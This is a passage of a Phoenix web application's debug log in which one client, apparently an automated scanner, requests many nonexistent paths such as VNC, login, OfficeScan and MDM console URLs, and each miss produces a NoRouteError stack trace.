    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:06.632000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60380] GET /VncViewer.jar
[Thu Sep  3 07:55:06.681000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60380] ** (Phoenix.Router.NoRouteError) no route found for GET /VncViewer.jar (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:09.082000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60392] GET /ui/
[Thu Sep  3 07:55:09.119000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60392] ** (Phoenix.Router.NoRouteError) no route found for GET /ui (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:09.766000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60398] GET /ui/
[Thu Sep  3 07:55:09.811000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60398] ** (Phoenix.Router.NoRouteError) no route found for GET /ui (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:10.662000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60410] GET /recoveryconsole/
[Thu Sep  3 07:55:10.688000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60410] ** (Phoenix.Router.NoRouteError) no route found for GET /recoveryconsole (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:10.858000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60426] HEAD /someunexistantstuff1490320272115828939.html
[Thu Sep  3 07:55:10.891000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60426] ** (Phoenix.Router.NoRouteError) no route found for GET /someunexistantstuff1490320272115828939.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:12.090000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60428] HEAD /someunexistantstuff.exe
[Thu Sep  3 07:55:12.111000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60428] ** (Phoenix.Router.NoRouteError) no route found for GET /someunexistantstuff.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:12.679000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60430] GET /someunexistantantsutff2696434201629103245.html
[Thu Sep  3 07:55:12.718000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60430] ** (Phoenix.Router.NoRouteError) no route found for GET /someunexistantantsutff2696434201629103245.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:14.584000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60170] GET /someunexistantantsutff.exe
[Thu Sep  3 07:55:14.604000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60170] ** (Phoenix.Router.NoRouteError) no route found for GET /someunexistantantsutff.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:17.929000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60174] POST /
[Thu Sep  3 07:55:17.941000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60174] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:19.231000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60190] GET //user/index.php
[Thu Sep  3 07:55:19.274000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60190] ** (Phoenix.Router.NoRouteError) no route found for GET /user/index.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:28.084000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49086] GET /pages/login.php
[Thu Sep  3 07:55:28.114000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49086] ** (Phoenix.Router.NoRouteError) no route found for GET /pages/login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:29.808000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49100] GET /
[Thu Sep  3 07:55:29.808000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:49100] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:55:29.809000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49100] Sent 200 in 1ms
[Thu Sep  3 07:55:35.312000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43798] GET /login.html
[Thu Sep  3 07:55:35.346000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43798] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:39.609000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43800] GET //
[Thu Sep  3 07:55:39.609000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43800] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:55:39.610000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43800] Sent 200 in 1ms
[Thu Sep  3 07:55:41.814000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43812] GET /mdm/web/login.htm
[Thu Sep  3 07:55:41.834000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43812] ** (Phoenix.Router.NoRouteError) no route found for GET /mdm/web/login.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:44.509000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45162] GET /logon.jsp
[Thu Sep  3 07:55:44.542000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45162] ** (Phoenix.Router.NoRouteError) no route found for GET /logon.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:47.194000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45172] GET /officescan/console/html/common/l10n/l10n.global.js
[Thu Sep  3 07:55:47.221000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45172] ** (Phoenix.Router.NoRouteError) no route found for GET /officescan/console/html/common/l10n/l10n.global.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:55:50.507000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45174] GET /webapp/js/UI_String.en-US.js
[Thu Sep  3 07:55:50.533000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45174] ** (Phoenix.Router.NoRouteError) no route found for GET /webapp/js/UI_String.en-US.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
